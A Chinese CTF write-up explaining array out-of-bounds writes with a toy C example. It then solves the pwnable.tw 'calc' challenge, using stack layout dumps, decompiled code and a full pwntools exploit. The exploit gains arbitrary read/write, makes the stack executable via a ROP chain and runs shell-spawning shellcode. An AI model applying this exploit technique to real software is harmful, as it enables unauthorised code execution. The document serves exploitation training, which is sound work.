从pwnable.tw-calc看数组越界造成的任意地址读写

栏目: 编程工具 · 发布时间: 6年前

内容简介:数组越界访问是c程序常见的错误之一,由于c语言并不向Java等语言对数组下标有严格的检查,一旦出现越界,就有可能造成严重的后果。

*本文作者:Lkerenl,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

前言

数组越界访问是c程序常见的错误之一,由于 c语言 并不向 Java 等语言对数组下标有严格的检查,一旦出现越界,就有可能造成严重的后果。

从pwnable.tw-calc看数组越界造成的任意地址读写

数组越界访问

看下边一个例子::

#include <stdio.h>
#include <stdlib.h>

int target = 0xdeadbeef;

int main()
{   
    int a[20] = {0xdeadbeef};
    int index,value;
    printf("%x\n",a);
    scanf("%d%d", &index, &value);
    a[index] = value;
    if (target == 0x27)
        printf("Congratulations!\n");
    else
    {
        printf("try again.\n");
    }
    return 0;
}

以32位为例:

gcc -m32 Array-out-of-bounds.c -g0 -o 32

栈空间:

00:0000│ esp  0xffffcdb0 —▸ 0x8048634 ◂— and    eax, 0x642564 /* '%d%d' */
01:0004│      0xffffcdb4 —▸ 0xffffcdc4 —▸ 0xf7ffd918 ◂— 0x0
02:0008│      0xffffcdb8 —▸ 0xffffcdc8 —▸ 0xffffcde0 ◂— 0x0
03:000c│      0xffffcdbc ◂— 0x0
04:0010│      0xffffcdc0 —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x23f3c
05:0014│ eax  0xffffcdc4 —▸ 0xf7ffd918 ◂— 0x0
06:0018│      0xffffcdc8 —▸ 0xffffcde0 ◂— 0x0
07:001c│      0xffffcdcc ◂— 0xdeadbeef
08:0020│      0xffffcdd0 ◂— 0x0
... ↓
1b:006c│ edi  0xffffce1c ◂— 0xc4907500
1c:0070│      0xffffce20 —▸ 0xffffce40 ◂— 0x1
1d:0074│      0xffffce24 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
1e:0078│ ebp  0xffffce28 ◂— 0x0
1f:007c│      0xffffce2c —▸ 0xf7e19637 (__libc_start_main+247) ◂— add    esp, 0x10

此时我们可以看到 a 的地址为 0xffffcdcc 而内存访问数组的方法是:

0x8048549 <main+94>     add    esp, 0x10
   0x804854c <main+97>     mov    eax, dword ptr [ebp - 0x64]
   0x804854f <main+100>    mov    edx, dword ptr [ebp - 0x60]
   0x8048552 <main+103>    mov    dword ptr [ebp + eax*4 - 0x5c], edx

ebp-0x5ca 的地址,再加上 eax 也就是索引乘4,如果我们要修改 target 的值:

pwndbg> p/x ⌖
$3 = 0x804a028

0xffffcdcc + eax * 4 == 0x804a028 解方程。我们因为是32位,所以我们可以把这个方程看成:

(0xffffcdcc + eax * 4) & 0xffffffff  == 0x804a028

因为有很多值,我们就取一个:

In [5]: (0x10804a028-0xffffcdcc)/4
Out[5]: 0x2013497

成功修改:

pwndbg> c
Continuing.
ffffcdcc
33633431 39
...
pwndbg> p $ebp + $eax*4 - 0x5c
$5 = (void *) 0x804a028 <target>
pwndbg> n
...
pwndbg> p/x target
$6 = 0x27

修改成功,退出调试环境再试一下。

➜  Array-out-of-bounds ./32          
ffd8e7fc
34270731 39
Congratulations!

接下来通过pwnable.tw的一道calc实战一下

pwnable.tw-calc

nc连上去看看:

➜  ~ nc chall.pwnable.tw 10100
=== Welcome to SECPROG calculator ===
1+3
4
1-3
-2
2+-2
expression error!
-2+2
2
0+0
prevent division by zero
-0+1
prevent division by zero
+1+1
2
+5-7
-7
Merry Christmas!

随便输入点什么,可以看到有些奇怪的输出。打开ida加载分析一下、逻辑很简单:

unsigned int calc()
{
  int result[101]; // [esp+18h] [ebp-5A0h]
  char expr; // [esp+1ACh] [ebp-40Ch]
  unsigned int v3; // [esp+5ACh] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  while ( 1 )
  {
    bzero(&expr, 0x400u);
    if ( !get_expr((int)&expr, 1024) )
      break;
    init_pool(result);
    if ( parse_expr(&expr, result) )
    {
      printf(("%d\n", result[result[0] - 1 + 1]);
      fflush(stdout);
    }
  }
  return __readgsdword(0x14u) ^ v3;
}

主要就是这个calc的函数,可以看到一开始读了canary到栈里,然后从命令行读一行字符串然后调用 parse_expr 来计算,结果放在 result[size - 1] 处。 get_expr 的逻辑就是一个字符一个字符读到s里并过滤掉除 [0-9]*+-\% 的字符。 init_pool 这个函数初始化了一段大小为100*4内存空间。暂时不知道干什么用的,不过通过 calc 的那个 printf 可以推断出这里边放有计算的结果。 parse_expr 首先是个for循环对输入的表达式进行遍历。

v9 = atoi(tmp_num);
      if ( v9 > 0 )
      {
        v4 = (*result)++;            // 保存数字,result个数+1
        result[v4 + 1] = v9;
      }
      if ( expr[i] && (unsigned int)(expr[i + 1] - '0') > 9 )
      {
        puts("expression error!");
        fflush(stdout);
        return 0;
      }
      num_start = &expr[i + 1];
      if ( s[v7] )
      {
        switch ( expr[i] )
        {
          case '%':
          case '*':
          case '/':
            if ( s[v7] != '+' && s[v7] != '-' )
            {
              eval(result, s[v7]);
              s[v7] = expr[i];
            }
            else
            {
              s[++v7] = expr[i];
            }
            break;
          case '+':
          case '-':
            eval(result, s[v7]);
            s[v7] = expr[i];
            break;
          default:
            eval(result, s[v7--]);
            break;
        }
      }
      else
      {
        s[v7] = expr[i];
      }

result为数字栈,s为符号栈,result[0]保存当前数字栈里的数字的个数。通过一个switch来判断符号类型,确定运算顺序,最后一个while从右向左计算表达式。

while ( v7 >= 0 )
    eval(result, s[v7--]);

通过eval函数计算表达式:

//eval(result, s[v7]);
int *__cdecl eval(int *result, char a2)
{
  int *a3; // eax

  if ( a2 == '+' )
  {
    result[*result - 1] += result[*result];
  }
  else if ( a2 > '+' )
  {
    if ( a2 == '-' )
    {
      result[*result - 1] -= result[*result];
    }
    else if ( a2 == '/' )
    {
      result[*result - 1] /= result[*result];
    }
  }
  else if ( a2 == '*' )
  {
    result[*result - 1] *= result[*result];
  }
  a3 = result;
  --*result;
  return a3;
}

我们可以看到在 eval 函数中,因为没有检查 result[0] 的值,如果我们能够控制 result[0] 的值,我们就可以造成任意地址的写入,绕过 canary 修改返回地址形成栈溢出。而且在函数 calc 中,如果我们能控制 result[0] 就可以通过 printf("%d\n", result[result[0] - 1 + 1]); 读取任意地址。那么我们如何在能控制 result[0] 的值呢,考虑我们在nc时的输入,发现在输入由符号开始的表达式时,如 +20 因为第一个字符为符号 + 而只有一个数字,那么在这样的情况下执行 eval时result[*result - 1] += result[*result]; 就会变成 result[1-1]+=result[1]; 成功控制了 result[0] 的值。

攻击流程

我们首先利用数组越界造成的任意地址读写,将 __stack_prot 改成 0x7 ,接着构造ROP链,使其执行 _dl_make_stack_executable<__libc_stack_end> (注意这里的 __libc_stack_end 在eax内),就能关闭 NX 保护,然后我们就利用 jmp esp 或者 call esp 劫持eip到栈上从而getshell。

exp

from pwn import *

filename = "./calc"
context.binary = filename
elf = ELF(filename)

if args.A:
    p = remote('chall.pwnable.tw',10100)
else:
    p = process(filename)
    context.log_level = 'debug'

stack_addr = None
pop_eax = 0x0805c34b #pop eax; ret
jmp_esp = 0x080e3f63 #jmp esp

def g(cmd=None):
    gdb.attach(p,cmd)

def w(offset,value):
    offset = str(offset)
    p.sendline("+"+offset)
    orgin = int(p.recvuntil('\n')[:-1])
    if value - orgin >= 0x7fffffff:
        #import pdb;pdb.set_trace()
        value = unpack( pack(value),'all',sign=True)
        value = -(orgin - value)
    else:
        value -= orgin
    p.sendline("+" + offset + ('+' if value > 0 else '-') + str(abs(value)))
    p.recvuntil('\n')

def get_stack_addr():
    global stack_addr
    p.sendline("+360")
    orgin = int(p.recvuntil('\n')[:-1])
    stack_addr = u32(pack(orgin-1472))
    log.info("get offset_base: %#x" % stack_addr)    

def exp():
    p.recvuntil("===\n")

    get_stack_addr()

    z = (0x1080ebfec - (stack_addr))/4
    log.info("__stack_prot offset: %#x" % z)
    p.sendline('+%d-%d' % (z,0xfffff9))
    p.recvuntil('\n')
    w(361,pop_eax)
    w(362,elf.sym['__libc_stack_end'])
    w(363,elf.sym['_dl_make_stack_executable'])

    w(364,jmp_esp)

    shellcode = asm(shellcraft.sh())
    shellcode = [u32(shellcode[x:x+4]) for x in range(0,len(shellcode),4)]
    for _ in range(0,len(shellcode)):
        w(365+_, shellcode[_])

    p.send('\n')

    p.interactive()

if __name__ == "__main__":
    exp()

注意因为 atoi 会将超过 0x7ffffffff 的数转换为 0x7fffffff ,所以写exp的时候要注意。

*本文作者:Lkerenl,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

计算机动画算法与编程基础

计算机动画算法与编程基础

雍俊海 / 清华大学出版社 / 2008-7 / 29.00元

《计算机动画算法与编程基础》整理了现有动画算法和编程的资料,提取其中基础的部分,结合作者及同事和学生的各种实践经验,力求使得所介绍的动画算法和编程方法更加容易理解,从而让更多的人能够了解计算机动画,并进行计算机动画算法设计和编程实践。《计算机动画算法与编程基础》共8章,内容包括:计算机动画图形和数学基础知识,OpenGL动画编程方法,关键帧动画和变体技术,自由变形方法,粒子系统和关节动画等。一起来看看 《计算机动画算法与编程基础》 这本书的介绍吧!

在线进制转换器
在线进制转换器

各进制数互转换器

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换